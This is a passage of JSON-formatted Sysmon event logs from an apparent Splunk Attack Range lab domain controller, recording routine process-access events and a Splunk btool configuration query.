C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001062190500}\r\nTargetProcessId: 2496\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001062190500}","TargetProcessId":"2496","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.412\r\nProcessGuid: {90617006-407B-5F2D-0000-0010211A0500}\r\nProcessId: 484\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407B-5F2D-0000-001062190500}\r\nParentProcessId: 2496\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.412","ProcessGuid":"{90617006-407B-5F2D-0000-0010211A0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407B-5F2D-0000-001062190500}","ParentProcessId":"2496","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001062190500}\r\nSourceProcessId: 2496\r\nSourceThreadId: 2472\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010211A0500}\r\nTargetProcessId: 484\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-407B-5F2D-0000-001062190500}","SourceProcessId":"2496","SourceThreadId":"2472","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010211A0500}","TargetProcessId":"484","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010211A0500}\r\nTargetProcessId: 484\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010211A0500}","TargetProcessId":"484","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: 